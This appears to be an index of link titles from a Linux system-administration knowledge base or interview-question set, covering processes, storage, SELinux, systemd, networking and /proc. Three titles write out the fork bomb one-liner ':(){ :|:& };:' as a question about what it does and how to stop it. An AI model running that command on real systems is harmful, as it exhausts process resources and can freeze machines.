* [[How many parity levels does SnapRAID support, and what does each level provide?]]
* [[How many privilege rings does x86 architecture define, and which does Linux use?]]
* [[How mount a temporary ram partition?]]
* [[How packages installation/removal is performed on the distribution you are using?]]
* [[How the kernel notifies the parent process about child process termination?]]
* [[How the waitpid() is different from wait()?]]
* [[How to add a new user to the system without providing a password?]]
* [[How to add new user without using `useradd`/`adduser` commands?]]
* [[How to change the kernel parameters? What kernel options might you need to tune?]]
* [[How to change the permissions of a file?]]
* [[How to change the priority of a process? Why would you want to do that?]]
* [[How to check if a string contains a substring in Bash?]]
* [[How to check if running as root in a bash script? What should you watch out for?]]
* [[How to check the status of a service?]]
* [[How to check what is the current load average?]]
* [[How to check what is the hostname of the system?]]
* [[How to check whether the private key and the certificate match?]]
* [[How to check which commands you executed in the past?]]
* [[How to count the number of lines in a file? What about words?]]
* [[How to create a file of a certain size?]]
* [[How to create your own environment variables?]]
* [[How to debug binaries?]]
* [[How to enforce authorization methods in SSH? In what situations it would be useful?]]
* [[How to exit without saving shell history?]]
* [[How to extract the content of an archive?]]
* [[How to find files that have been modified on your system in the past 60 minutes?]]
* [[How to find out the dynamic libraries executables loads when run?]]
* [[How to follow file's content as it being appended without opening the file every time?]]
* [[How to generate a random string of 7 characters?]]
* [[How to generate a random string?]]
* [[How to get rid of zombie processes?]]
* [[How to increase the size of LVM partition?]]
* [[How to limit processes to not exceed more than X% of CPU usage?]]
* [[How to link two separate network namespaces so you can ping an interface on one ns from…]]
* [[How to list active connections?]]
* [[How to list all the interfaces?]]
* [[How to list kernel's runtime parameters?]]
* [[How to log all commands run by root on production servers?]]
* [[How to look for a package that provides the command /usr/bin/git? (the package isn't ne…]]
* [[How to make high availability of web application?]]
* [[How to make sure a Service starts automatically after a reboot or crash?]]
* [[How to permanently set `$PATH` on Linux/Unix? Why is this variable so important?]]
* [[How to prevent `dd` from freezing your system?]]
* [[How to print every line that is longer than 79 characters?]]
* [[How to print the 4th column in a file?]]
* [[How to print the shared libraries required by a certain program?]]
* [[How to read a file line by line and assigning the value to a variable?]]
* [[How to recover deleted file held open e.g. by Apache?]]
* [[How to recursively change permissions for all directories except files and for all file…]]
* [[How to redirect stderr and stdout to different files in the same line?]]
* [[How to reload PostgreSQL after configuration changes?]]
* [[How to remove all files except some from a directory?]]
* [[How to rename the name of a file or a directory?]]
* [[How to run a process in the background and why to do that in the first place?]]
* [[How to run script as another user without password?]]
* [[How to see a list of who logged in to the system?]]
* [[How to start or stop a service?]]
* [[How to switch to another user? How to switch to the root user?]]
* [[How to trigger neighbor discovery in IPv6?]]
* [[How would you check what is the size of a certain directory?]]
* [[How would you debug high load average with almost no CPU usage?]]
* [[How would you diagnose a sudden increase in server resource utilization?]]
* [[How would you recognize a process that is hogging resources?]]
* [[How would you split a 50 lines file into 2 files of 25 lines each?]]
* [[How you measure time execution of a program?]]
* [[Huge pages reduce TLB misses by two orders of magnitude]]
* [[Hypervisor steal time is invisible to application profilers]]
* [[I have forgotten the root password! What do I do in BSD? What is the purpose of booting…]]
* [[I/O schedulers evolved from disk optimization to irrelevance for SSDs]]
* [[IPMI kernel modules aren't loaded by default; causes device not found]]
* [[Identify your Linux distro programmatically]]
* [[Identifying which process generates the most disk I/O]]
* [[If I plug a new device into a Linux machine, where and how does the detection process s…]]
* [[If a server is "unresponsive" but still pings, what do you suspect?]]
* [[Immutable distros represent a new Linux paradigm]]
* [[In Linux FHS (Filesystem Hierarchy Standard) what is the /?]]
* [[In what phases of kernel lifecycle, can you change its configuration?]]
* [[In which path can you find the system devices (e.g. block storage)?]]
* [[In-place config edits without backup cause irrecoverable loss]]
* [[Incomplete firewall rules break monitoring, backups, and infrastructure]]
* [[Indiscriminately removing SUID breaks essential system functions]]
* [[Infrastructure problems dwarf code optimization]]
* [[Inode exhaustion evades block-only monitoring]]
* [[Inode exhaustion prevents file creation despite free disk space]]
* [[Investigating unexpected system reboots via journalctl]]
* [[Is it safe to attach the `strace` to a running process on the production? What are the …]]
* [[Is the Linux kernel monolithic or microkernel?]]
* [[Is there a way to allow multiple cross-domains using the Access-Control-Allow-Origin he…]]
* [[Is there a way to redirect output to a file and have it display on stdout?]]
* [[Is there an easy way to search inside 1000s of files in a complex directory structure t…]]
* [[KVM (Kernel-based Virtual Machine)]]
* [[Kdump crashkernel reservation sizing and verification]]
* [[Kernel checks UID 0 for root, not the account name]]
* [[Kernel lockdown LSM prevents root from modifying the running kernel]]
* [[Kernel routing state is ephemeral; configuration must be persisted separately]]
* [[Kernel space vs. user space in Linux]]
* [[Kill a process locking or writing to a file]]
* [[LFCS exam is a hands-on, time-constrained system administration test]]
* [[LUKS encrypts block devices via dm-crypt with multiple key slots]]
* [[LVM (Logical Volume Manager) in Linux]]
* [[LVM logical volumes and filesystems are separate layers; both must be extended]]
* [[LVM physical extents must be available; verify free space before extending volumes]]
* [[LVM three-layer abstraction: PV → VG → LV]]
* [[Linux CPU scheduler has been rewritten four times]]
* [[Linux IPMI kernel driver loads BMC interface as /dev/ipmi0 character device]]
* [[Linux Mint's dominance stems from one desktop choice]]
* [[Linux OOM killer: scoring, victim selection, and mitigation]]
* [[Linux authentication flows through PAM, NSS, and SSSD to identity providers]]
* [[Linux bonding driver offers seven modes; only mode 4 is LACP]]
* [[Linux bonding mode selection: active-backup for simplicity, 802.3ad/LACP for aggregate throughput]]
* [[Linux bridge: Layer 2 virtual switch for network segments]]
* [[Linux capabilities fragment root privileges into granular units]]
* [[Linux conntrack table exhaustion silently drops connections]]
* [[Linux decomposes into kernel, userspace, and distribution packaging]]
* [[Linux distro support lifecycles compared]]
* [[Linux kernel features that enable containers]]
* [[Linux kernel license: GPLv2 only]]
* [[Linux load average includes blocked I/O, not just runnable processes]]
* [[Linux memory overcommitment and vm.overcommit_memory]]
* [[Linux namespaces isolate process visibility across seven distinct resource types]]
* [[Linux network bonding modes]]
* [[Linux overcommit modes trade off flexibility for predictability]]
* [[Linux package management: RPM and DEB ecosystems]]
* [[Linux page cache inflates 'used' memory; 'available' is the real metric]]
* [[Linux process state codes and their operational meaning]]
* [[Linux system log files and their locations]]
* [[Linux terminology overloads kernel, userspace, and distro into one word]]
* [[List three ways to print all the files in the current directory]]
* [[Listing currently mounted filesystems (mount, findmnt)]]
* [[Load average is a blunt instrument without resource decomposition]]
* [[Load average is processes in runnable or uninterruptible sleep state]]
* [[Load averages are above 30 on a server with 24 cores but CPU shows around 70 percent id…]]
* [[Locked account diagnosis: permission checks in order of precedence]]
* [[Log4Shell (CVE-2021-44228): RCE in Apache Log4j 2]]
* [[Magic SysRq and the REISUB emergency reboot sequence]]
* [[Magic SysRq keys for debugging hung Linux systems]]
* [[Many basic maintenance tasks require you to edit config files. Explain ways to undo the…]]
* [[MemAvailable is the only meaningful memory saturation metric]]
* [[MemFree vs MemAvailable in /proc/meminfo]]
* [[Memory pressure masquerades as high CPU]]
* [[Methodology matters more than tools in performance debugging]]
* [[Modern Linux supports 4 million PIDs via kernel.pid_max tuning]]
* [[Modifying config files in-place without backup guarantees data loss]]
* [[Monitor and tune audit backlog to prevent event loss]]
* [[Mounting attaches a filesystem to the VFS directory tree]]
* [[Multi-homed hosts need arp_ignore and arp_announce tuning]]
* [[NFS (Network File System)]]
* [[NFS UID mapping issues and idmapd configuration diagnosis]]
* [[NFS fstab entries require _netdev and nofail flags]]
* [[NUMA misconfiguration on multi-socket servers causes 30–40% throughput loss]]
* [[NX-OS modular architecture acknowledged IOS monolithic limitations]]
* [[Name 5 commands which are two letters long]]
* [[Name at least five attributes every Linux process has.]]
* [[Name five SSH hardening settings you should configure in /etc/ssh/sshd_config.]]
* [[Name five important sysctl settings for Linux hardening and explain what they do.]]
* [[Name one reason for fork() to fail]]
* [[Nice values control CPU scheduling priority from -20 to +19]]
* [[Not checking disk space before large writes crashes services]]
* [[OCI specifications define portable container images and execution]]
* [[OOMKill sends SIGKILL (exit code 137)]]
* [[On a system which uses systemd, how would you display the logs?]]
* [[Ordinary users are able to read `/etc/passwd`. Is it a security hole? Do you know other…]]
* [[Orphans are adopted by init; zombies are dead and unconditionally unkillable]]
* [[Other admin trying to debug a server accidentally typed: `chmod -x /bin/chmod`. How to …]]
* [[Overloading the nobody user violates least-privilege isolation]]
* [[Overly permissive file permissions expose data to every user on the system]]
* [[Overly strict password rules drive users to weaker patterns]]
* [[PAM modular framework: service config, types, and controls]]
* [[PSI metrics quantify memory pressure before performance collapse]]
* [[PXE boot: network-based server bootstrapping via DHCP, TFTP, and kernel loading]]
* [[Page cache can be safely dropped for benchmarking]]
* [[Page cache is meant to consume free memory; dropping it harms production]]
* [[Password aging, complexity, and credential lifecycle policies]]
* [[Pending signals are delivered in numeric order, not queued]]
* [[Performance triage: uptime → vmstat → tool selection]]
* [[Permission auditing: finding ownership gaps and security risks]]
* [[Permission-setting anti-patterns]]
* [[PowerShell on Linux enables cross-platform module access]]
* [[Present and explain the good ways of using the `kill` command.]]
* [[Process groups and sessions organize signals across process trees]]
* [[Process state D means uninterruptible I/O wait — cannot be killed]]
* [[Process state is where production debugging begins]]
* [[Profiling Without Debug Symbols]]
* [[Program, process, and service are three distinct layers]]
* [[Protecting all processes from OOM killer disables the safety mechanism]]
* [[RAID levels: 0, 1, 5, 6, and 10 explained]]
* [[RPM: Explain the .spec format. What should and can it contain?]]
* [[Read-only bind mount requires a two-step setup]]
* [[Recovering from a bad /etc/fstab entry that prevents boot]]
* [[Recovering from catastrophic permission damage caused by recursive chmod]]
* [[Recovering from failed kernel update via GRUB rollback]]
* [[Recovery procedure after self-inflicted breakage on unfamiliar systems]]
* [[Red Hat family: distros, tooling, and enterprise positioning]]
* [[Regaining access to a server with lost credentials]]
* [[Remounting read-only is a safe first response to filesystem errors]]
* [[Restrict SSH access only after verifying alternative access paths exist]]
* [[Rootless containers]]
* [[Rsync triggered Linux OOM killer on a single 50 GB file. How does the OOM killer decide…]]
* [[Running as Root Directly Converts Typos Into Uncontained System Damage]]
* [[Running as root amplifies blast radius of operator error]]
* [[Running the command as root user. It is a good or bad practices?]]
* [[Running the command df you get "command not found". What could be wrong and how to fix it?]]
* [[SAR provides time-machine access to historical performance data]]
* [[SELinux enforcing vs permissive?]]
* [[SELinux vs AppArmor: MAC models compared]]
* [[SELinux was created by the NSA and released as open source]]
* [[SIGHUP, SIGINT, SIGKILL, and SIGTERM POSIX signals. Explain.]]
* [[SIGTERM allows graceful shutdown; SIGKILL forces immediate termination]]
* [[SSH key permissions are non-negotiable and security-critical]]
* [[SSSD logging requires explicit debug level configuration]]
* [[Schedule one-time jobs with at, batch, and related commands]]
* [[Serial console configuration prevents blind installations]]
* [[Server shows high interrupt CPU usage (irq% in top). How do you troubleshoot?]]
* [[Server tuning: connection limits, socket buffers, congestion control]]
* [[Service account setup isolates privilege and protects secrets]]
* [[Should the root certificate go on the server?]]
* [[Signals are notifications with three possible outcomes per process]]
* [[Signals are the kernel's mechanism for asynchronous process control]]
* [[Some of the commands in the previous question can be run with the -r/-R flag. What does…]]
* [[Special permission bits require explicit leading octal digit in chmod]]
* [[Specify which command would you use (and how) for each of the following scenarios]]
* [[Stable device references survive reboot via UUID, label, or WWN—never rely on /dev/sdX]]
* [[Storage I/O errors masquerade as application problems; check dmesg and SMART first]]
* [[Storage stack: five transformations from raw disk to usable directory]]
* [[Swap usage too high. What are the reasons for this and how to resolve swapping problems?]]
* [[Symlinks consume inodes independent of target size]]
* [[Syscall-level audit generates impractical data volumes]]
* [[Sysctl tuning requires baseline measurement and validation]]
* [[System DNS configuration must be set at the config file level to persist]]
* [[System call (syscall): user-space to kernel interface]]
* [[System freezes for 30-60 seconds randomly. SSH hangs. No kernel panic. Why?]]
* [[System log file paths differ significantly across Linux distros]]
* [[Systematic discovery of service interdependencies]]
* [[Systematic permission debugging from filesystem root to target file]]
* [[Systemd hardening directives enforce permission and filesystem isolation]]
* [[Systemd units separate boot-time enablement from runtime control]]
* [[Systemd units: enable and start are orthogonal]]
* [[Tell me about the dangers and caveats of LVM.]]
* [[Tell me about your Linux experience.]]
* [[Tell me everything you know about the Linux boot process]]
* [[Test fstab changes with mount -a before rebooting]]
* [[The /proc virtual filesystem]]
* [[The Four Resources framework organizes performance bottlenecks]]
* [[The Junior dev accidentally destroyed production database. How can you prevent such sit…]]
* [[The Linux firewall stack: netfilter kernel framework and userspace tools]]
* [[The Linux kernel: what it is and how it works]]
* [[The iproute2 toolkit is the modern replacement for deprecated net-tools]]
* [[The kernel is the privilege boundary; syscalls are the API]]
* [[The loopback (lo) interface]]
* [[The program returns the error of the missing library. How to provide dynamically linkab…]]
* [[The signal escalation sequence and critical process lifecycle patterns]]
* [[The sticky bit originally prevented memory paging, now prevents deletion]]
* [[The team of admins needs your support. You must remotely reinstall the system on one of…]]
* [[Three heuristics for OOM diagnosis and recovery]]
* [[Three journaling modes in ext3/ext4]]
* [[To LVM or not to LVM. What benefits does it provide?]]
* [[Transient performance spikes are invisible without historical metrics]]
* [[Transparent Huge Pages cause latency in memory-sensitive databases]]
* [[True or False? A successful call to exec() never returns]]
* [[True or False? By default, when creating two separate network namespaces, a ping from o…]]
* [[True or False? Directories always have by minimum 2 links]]
* [[True or False? In a child PID namespace all processes are aware of parent PID namespace…]]
* [[True or False? In every PID (Process ID) namespace the first process assigned with the …]]
* [[True or False? In order to install packages on the system you must have root privileges.]]
* [[True or False? In user space, applications don't have full access to hardware resources]]
* [[True or False? It's not possible to have a root user with ID 0 in child user namespaces]]
* [[True or False? The MAC address of an interface is assigned/set by the OS]]
* [[True or False? The wait() system call won't return until the child process has run and …]]
* [[True or False? With UTS namespaces, processes may appear to have different hostnames.]]
* [[True or False? You can create a soft link between different filesystems.]]
* [[True or False? You can create an hard link for a directory]]
* [[True or False? both /tmp and /var/tmp cleared upon system boot]]
* [[True or False? only root can create files in /proc]]
* [[Typos in destructive commands cause irreversible data loss]]
* [[Unset shell variables in destructive commands expand to dangerous paths]]
* [[Use /proc/PID/stack and wchan to see what syscall a process is blocked on]]
* [[Use /proc/net/tcp and ss to see a process's active network connections]]
* [[Use find -delete instead of rm -rf * for millions of files]]
* [[User accounts can be service accounts with external dependencies]]
* [[Using UUIDs in fstab instead of device paths prevents mount failures across disk changes]]
* [[Using a Linux system with a limited number of packages installed, and telnet is not ava…]]
* [[Using sed, extract the date from the following line: 201.7.19.90 - - [05/Jun/1985:13:42…]]
* [[Using system call tracing to debug when application logs are unhelpful]]
* [[Validate fstab syntax changes before reboot to avoid emergency mode]]
* [[Verify the purpose of cron jobs before disabling them]]
* [[Verify which config file the process actually reads]]
* [[Walk through the Linux Boot Process (High Level).]]
* [[Walk through the Linux boot process.]]
* [[WantedBy vs RequiredBy?]]
* [[What Linux distributions are you familiar with?]]
* [[What Linux kernel parameter enables IPv6?]]
* [[What RAID levels does Linux software RAID (mdadm) support, and when would you use each?]]
* [[What UID is reserved for root?]]
* [[What a double dash (--) mean?]]
* [[What architecture was Linux originally written for?]]
* [[What are AppArmor's two modes?]]
* [[What are BorgBackup's key features for data hoarding backups?]]
* [[What are CIS Benchmarks, and what categories do they cover for Linux hardening?]]
* [[What are Linux capabilities?]]
* [[What are Linux namespaces?]]
* [[What are Machine Check Exceptions (MCEs), and how do you diagnose them?]]
* [[What are SELinux booleans?]]
* [[What are SIGUSR1 and SIGUSR2?]]
* [[What are `ausearch` and `aureport`?]]
* [[What are awk's key built-in variables?]]
* [[What are cgroups (control groups) and how does Linux use them for resource limits?]]
* [[What are cgroups?]]
* [[What are common package name differences between Debian and RHEL?]]
* [[What are file descriptors 0, 1, and 2?]]
* [[What are hidden files/directories? How to list them?]]
* [[What are huge pages?]]
* [[What are major and minor device numbers?]]
* [[What are packet sniffers? Have you used one in the past? If yes, which packet sniffers …]]
* [[What are ports 2049 and 111 used for?]]
* [[What are ports 3306, 5432, and 6379?]]
* [[What are salted hashes? Generate the password with salt for the `/etc/shadow` file.]]
* [[What are segmentation faults (segfaults), and how can identify what's causing them?]]
* [[What are soft limits and hard limits?]]
* [[What are syslog facilities?]]
* [[What are syslog priorities (severities)?]]
* [[What are systemd targets, and how do they map to SysVinit runlevels?]]
* [[What are the "dotfiles"?]]
* [[What are the 7 layers of the OSI model?]]
* [[What are the 8 types of Linux namespaces?]]
* [[What are the Linux kernel version numbering conventions?]]
* [[What are the Linux process states and their codes?]]
* [[What are the common HTTP status code ranges?]]
* [[What are the common Linux capabilities?]]
* [[What are the common TCP socket states?]]
* [[What are the core principles of zero trust security?]]
* [[What are the core tools in the *arr stack and what does each do?]]
* [[What are the cron special strings?]]
* [[What are the different types of kernels? Explain.]]
* [[What are the different ways to send signals to processes, and when would you use each?]]
* [[What are the following commands used for: ip addr, ip route, ip link?]]
* [[What are the four freedoms of the GPL?]]
* [[What are the iptables chains in the filter table?]]
* [[What are the iptables tables and their purposes?]]
* [[What are the key `ss` flags?]]
* [[What are the key columns in `top`?]]
* [[What are the key dependency directives in systemd?]]
* [[What are the key fields in an /etc/fstab entry, and what does a typical line look like?]]
* [[What are the layers of the TCP/IP model?]]
* [[What are the main kernel memory zones on x86-64?]]
* [[What are the main reasons for keeping old log files?]]
* [[What are the main systemd unit types?]]
* [[What are the most common Linux hardening mistakes that undermine security?]]
* [[What are the most common ulimit-related production failures, and how do you fix them?]]
* [[What are the phases of incident response?]]
* [[What are the possible states of a process in Linux?]]
* [[What are the private IP address ranges?]]
* [[What are the pros and cons of ZFS for data hoarding compared to the JBOD+mergerfs+SnapR…]]
* [[What are the six fields of `crontab -l` output?]]
* [[What are the stages of GRUB2 boot loading?]]
* [[What are the steps to add a new drive to an existing data hoarding array?]]
* [[What are the three SELinux modes, and how do you check the current mode?]]
* [[What are the three SELinux modes?]]
* [[What are the three timestamps on a Linux file?]]
* [[What are well-known ports 110, 143, 993, and 995?]]
* [[What are wildcards? Can you give an example of how to use them?]]
* [[What are you using for debugging CPU related issues?]]
* [[What are you using for troubleshooting and debugging disk & file system issues?]]
* [[What are you using for troubleshooting and debugging network issues?]]
* [[What are you using for troubleshooting and debugging process issues?]]
* [[What automated provisioning tools do different distro families use?]]
* [[What can be found in /proc/cmdline?]]
* [[What can you do if you lost/forgot the root password?]]
* [[What can you find in /boot?]]
* [[What can you find in /etc/services?]]
* [[What causes high kswapd CPU usage?]]
* [[What causes sudden disk full with "no files"?]]
* [[What character is forbidden in Linux filenames?]]
* [[What command creates a new directory?]]
* [[What command enables a service to start at boot AND starts it immediately in one step?]]
* [[What command finds files by name in a directory tree?]]
* [[What command lists currently loaded kernel modules?]]
* [[What command reloads udev rules without rebooting?]]
* [[What command removes an empty directory?]]
* [[What command shows inode usage per mounted filesystem?]]
* [[What command shows the current directory path?]]
* [[What command shows the process tree?]]
* [[What command shows the routing table?]]
* [[What command shows your current UID and group memberships?]]
* [[What command would you use to debug slow boot times and identify which units are taking…]]
* [[What commands are you using for performing DNS queries (or troubleshoot DNS related iss…]]
* [[What company acquired Red Hat in 2019?]]
* [[What compression tools are available on Linux?]]
* [[What data structure does CFS use internally?]]
* [[What defines a "senior" Linux engineer?]]
* [[What did Google's study reveal about SMART's ability to predict drive failures?]]
* [[What distros make up the Debian family?]]
* [[What do > and < do in terms of input and output for programs?]]
* [[What do the fields in `ls -al` output mean?]]
* [[What do the mount options noexec, nosuid, and nodev mean?]]
* [[What do the three load average numbers represent in Linux (shown by `uptime` or `top`)?]]
* [[What do we grep for in each of the following commands?:]]
* [[What does "POSIX" stand for?]]
* [[What does "PTY" stand for?]]
* [[What does "RTFM" stand for?]]
* [[What does "SSH" stand for?]]
* [[What does "TTY" stand for?]]
* [[What does "cpio" stand for?]]
* [[What does "dd" stand for?]]
* [[What does "ping" stand for?]]
* [[What does "rsync" stand for?]]
* [[What does "sudo" stand for?]]
* [[What does "tar" stand for?]]
* [[What does "tee" refer to?]]
* [[What does "wget" stand for?]]
* [[What does /proc/<pid>/fd contain and why is it useful?]]
* [[What does /proc/net/ contain?]]
* [[What does /proc/sys/net/ipv4/tcp_syncookies control?]]
* [[What does Backblaze's public drive data tell us about failure rates?]]
* [[What does CPU jumps mean?]]
* [[What does GNU stand for?]]
* [[What does JBOD stand for, and why do data hoarders prefer it over traditional RAID?]]
* [[What does RHEL stand for?]]
* [[What does `$!` contain?]]
* [[What does `$#` contain?]]
* [[What does `$$` contain?]]
* [[What does `$*` contain?]]
* [[What does `$0` contain?]]
* [[What does `$?` contain?]]
* [[What does `$@` contain?]]
* [[What does `${#var}` do?]]
* [[What does `${var#pattern}` do?]]
* [[What does `${var:+alternate}` do?]]
* [[What does `${var:-default}` do?]]
* [[What does `${var:?error_message}` do?]]
* [[What does `*/5 * * * *` mean in cron?]]
* [[What does `/proc/PID/smaps` show?]]
* [[What does `/proc/cpuinfo` contain?]]
* [[What does `/proc/meminfo` contain?]]
* [[What does `0 0 1 * *` mean in cron?]]
* [[What does `0 2 * * 1-5` mean in cron?]]
* [[What does `2>&1` do?]]
* [[What does `2>` do?]]
* [[What does `>` vs `>>` do?]]
* [[What does `LC_ALL=C` before command do? In what cases it will be useful?]]
* [[What does `OnCalendar=` do in a systemd timer?]]
* [[What does `Persistent=true` do in a systemd timer?]]
* [[What does `apt-mark hold <package>` do?]]
* [[What does `cat /proc/PID/wchan` show?]]
* [[What does `dmesg` show?]]
* [[What does `findmnt` do?]]
* [[What does `free` show?]]
* [[What does `fs.file-max` control?]]
* [[What does `fuser` do?]]
* [[What does `getconf _NPROCESSORS_ONLN` return?]]
* [[What does `getent` do?]]
* [[What does `grep -c` do?]]
* [[What does `grep -i` do?]]
* [[What does `grep -l` do?]]
* [[What does `grep -o` do?]]
* [[What does `grep -r` do?]]
* [[What does `grep -v` do?]]
* [[What does `grub2-install` do?]]
* [[What does `iostat` show?]]
* [[What does `ip route add default via 10.0.0.1` do?]]
* [[What does `journalctl --disk-usage` show?]]
* [[What does `journalctl -b -1` show?]]
* [[What does `kernel.panic` control?]]
* [[What does `kill 0` do in Linux process management?]]
* [[What does `loginctl` do?]]
* [[What does `lsof` do?]]
* [[What does `ltrace` do?]]
* [[What does `mpstat` show?]]
* [[What does `mtr` do?]]
* [[What does `net.core.somaxconn` control?]]
* [[What does `net.ipv4.ip_forward` control?]]
* [[What does `netcat` (nc) do?]]
* [[What does `pidstat` show?]]
* [[What does `printenv` do?]]
* [[What does `readlink -f` do?]]
* [[What does `renice` do?]]
* [[What does `resolvectl status` show?]]
* [[What does `sar` do?]]
* [[What does `set -e` do?]]
* [[What does `set -o pipefail` do?]]
* [[What does `set -u` do?]]
* [[What does `set -x` do?]]
* [[What does `snapraid scrub` do and what is the default scrub percentage?]]
* [[What does `snapraid sync` do, and when should you run it?]]
* [[What does `stat` show?]]
* [[What does `strace` do?]]
* [[What does `sync` do?]]
* [[What does `sysctl net.core.rmem_max` control?]]
* [[What does `sysctl net.ipv4.tcp_fin_timeout` control?]]
* [[What does `systemctl daemon-reload` do?]]
* [[What does `systemctl list-units --type=service --state=failed` show?]]
* [[What does `systemctl mask` do?]]
* [[What does `systemd-analyze` show?]]
* [[What does `systemd-cgtop` show?]]
* [[What does `tee` do?]]
* [[What does `touch` actually do?]]
* [[What does `tr` do?]]
* [[What does `type` do in Bash?]]
* [[What does `uniq` do?]]
* [[What does `vmstat` show?]]
* [[What does `wc` do?]]
* [[What does `which` do?]]
* [[What does `whoami` do?]]
* [[What does `xargs` do?]]
* [[What does `xxd` do?]]
* [[What does cd ~ accomplish?]]
* [[What does chmod 755 filename do?]]
* [[What does execute permission on a directory mean vs on a file?]]
* [[What does exit code 0 mean?]]
* [[What does exit code 1 mean?]]
* [[What does exit code 126 mean?]]
* [[What does exit code 127 mean?]]
* [[What does exit code 128+n mean?]]
* [[What does exit code 130 mean?]]
* [[What does exit code 2 mean?]]
* [[What does high `si` (software interrupts) in `top` indicate on a Kubernetes node, and w…]]
* [[What does high iowait with low disk utilization usually mean?]]
* [[What does it mean when a kernel is "tainted," and why does it matter?]]
* [[What does it mean when the effective user is root, but the real user ID is still your n…]]
* [[What does logrotate `postrotate/endscript` do?]]
* [[What does strace do? What about ltrace?]]
* [[What does tail -f do?]]
* [[What does the /bin directory contain?]]
* [[What does the `cut` command do?]]
* [[What does the `env` command do?]]
* [[What does the `export` command do?]]
* [[What does the `init=` kernel parameter do?]]
* [[What does the `ip -s link show` command display?]]
* [[What does the `nice` command do?]]
* [[What does the `nsenter` command do?]]
* [[What does the `quiet` kernel parameter do?]]
* [[What does the `rd.break` kernel parameter do?]]
* [[What does the `sort` command do?]]
* [[What does the `timeout` command do?]]
* [[What does the `unshare` command do?]]
* [[What does the execve() system call do in Linux?]]
* [[What does the following block do?:]]
* [[What does the following permissions mean?:]]
* [[What does the fork bomb :(){ :|:& };: do and how do you stop it?]]
* [[What does the lsof command do? Have you used it? What for?]]
* [[What does the man command provide?]]
* [[What does the readdir() system call do?]]
* [[What does the sudo command do?]]
* [[What does the term "distro-hopping" mean?]]
* [[What does umask control?]]
* [[What each of the following commands does?]]
* [[What each of the following matches]]
* [[What embedded operating system is used in most consumer routers and is based on Linux?]]
* [[What exactly does the command alias x=y do?]]
* [[What fields are stored in an inode?]]
* [[What files does a Bash interactive non-login shell source?]]
* [[What files does a Bash login shell source?]]
* [[What filesystem does Debian/Ubuntu use by default?]]
* [[What filesystem does most RHEL/CentOS/Fedora systems use by default?]]
* [[What happens during fork() vs exec()?]]
* [[What happens if a drive fails to mount before running `snapraid sync`?]]
* [[What happens if an fstab entry lacks the nofail option and the device is unavailable at…]]
* [[What happens when socket system call is used?]]
* [[What happens when you `ping ::1`?]]
* [[What happens when you delete a hard link?]]
* [[What happens when you delete the original file in a soft link?]]
* [[What happens when you delete the target of a symbolic link?]]
* [[What happens when you execute ls -l *.log?]]
* [[What happens when you execute ls -l?]]
* [[What happens when you press ctrl + c?]]
* [[What happens when you run :(){ :|:& };: and why is it dangerous?]]
* [[What happens when you run `:(){ :|:& };:` in a shell?]]
* [[What if `kill -9` does not work? Describe exceptions for which the use of SIGKILL is in…]]
* [[What information can you find in `/proc/PID/status`?]]
* [[What information is stored in /etc/passwd? explain each field]]
* [[What is /dev/null?]]
* [[What is /dev/shm?]]
* [[What is /dev/urandom?]]
* [[What is /dev/zero?]]
* [[What is /etc/login.defs used for in security?]]
* [[What is /etc/login.defs?]]
* [[What is /etc/motd?]]
* [[What is /proc/cmdline?]]
* [[What is /proc/loadavg?]]
* [[What is /proc/mounts?]]
* [[What is /proc/sys/?]]
* [[What is /proc/version?]]
* [[What is /sys/block/?]]
* [[What is /sys/class/?]]
* [[What is /sys/devices/?]]
* [[What is /var/log/auth.log?]]
* [[What is AIDE?]]
* [[What is ARP?]]
* [[What is Android's relationship to Linux?]]
* [[What is Arch Linux known for?]]
* [[What is BEGIN/END in awk?]]
* [[What is BIOS?]]
* [[What is Btrfs?]]
* [[What is CAP_NET_BIND_SERVICE?]]
* [[What is CAP_SYS_ADMIN?]]
* [[What is CPU steal time?]]
* [[What is CUPS and how does it handle printing in Linux?]]
* [[What is Cilium?]]
* [[What is DNF and what is it used for in Linux package management?]]
* [[What is DPDK?]]
* [[What is ELK/EFK stack?]]
* [[What is FIPS mode in Linux?]]
* [[What is GRE tunneling?]]
* [[What is GRUB2's main configuration file?]]
* [[What is GRUB2?]]
* [[What is Gentoo Linux known for?]]
* [[What is ICMP?]]
* [[What is IFS?]]
* [[What is Kerberos and how does it handle authentication?]]
* [[What is LC_ALL?]]
* [[What is LD_LIBRARY_PATH?]]
* [[What is LVM thin provisioning?]]
* [[What is LVS (Linux Virtual Server)?]]
* [[What is Linus's Law?]]
* [[What is NAT?]]
* [[What is NOPASSWD in sudoers?]]
* [[What is NTP? What is it used for?]]
* [[What is NUMA?]]
* [[What is NetworkManager?]]
* [[What is OpenRC?]]
* [[What is PAM?]]
* [[What is PID 1, and why is it special?]]
* [[What is PSI (Pressure Stall Information)?]]
* [[What is PSS (Proportional Set Size)?]]
* [[What is Pacman?]]
* [[What is QEMU?]]
* [[What is RAID 0?]]
* [[What is RAID 10?]]
* [[What is RAID 1?]]
* [[What is RAID 5?]]
* [[What is RAID 6?]]
* [[What is RCU (Read-Copy-Update)?]]
* [[What is RFC 5737?]]
* [[What is SELinux and how does it enforce mandatory access control?]]
* [[What is SELinux?]]
* [[What is SIGALRM?]]
* [[What is SIGCHLD?]]
* [[What is SIGPIPE?]]
* [[What is SIGSEGV?]]
* [[What is SIGSTOP?]]
* [[What is SNI (Server Name Indication)?]]
* [[What is SSH ProxyJump?]]
* [[What is SSH agent forwarding?]]
* [[What is SSH key-based authentication?]]
* [[What is SSH port forwarding?]]
* [[What is SSH tunneling (port forwarding)?]]
* [[What is SSH? How to check if a Linux server is running SSH?]]
* [[What is Secure Boot?]]
* [[What is SnapRAID and how does it differ from real-time RAID?]]
* [[What is SnapRAID split parity (v11.0+) and when would you use it?]]
* [[What is Software-Defined Networking (SDN), and how does it impact data center architect…]]
* [[What is TCP keepalive?]]
* [[What is TCP slow start?]]
* [[What is Tux?]]
* [[What is UEFI?]]
* [[What is Upstart?]]
* [[What is User-mode Linux?]]
* [[What is UsrMerge?]]
* [[What is WireGuard?]]
* [[What is XFS?]]
* [[What is `/etc/cron.d/`?]]
* [[What is `/etc/hostname`?]]
* [[What is `/etc/shells`?]]
* [[What is `/proc/PID/cmdline`?]]
* [[What is `/proc/PID/fd/`?]]
* [[What is `/proc/PID/maps`?]]
* [[What is `/proc/PID/oom_score`?]]
* [[What is `/proc/interrupts`?]]
* [[What is `/proc/self`?]]
* [[What is `arp -a` replaced by?]]
* [[What is `audit2allow`?]]
* [[What is `bpftrace`?]]
* [[What is `buildah`?]]
* [[What is `cgroups v2 memory.pressure`?]]
* [[What is `chage` used for?]]
* [[What is `coredumpctl`?]]
* [[What is `crun`?]]
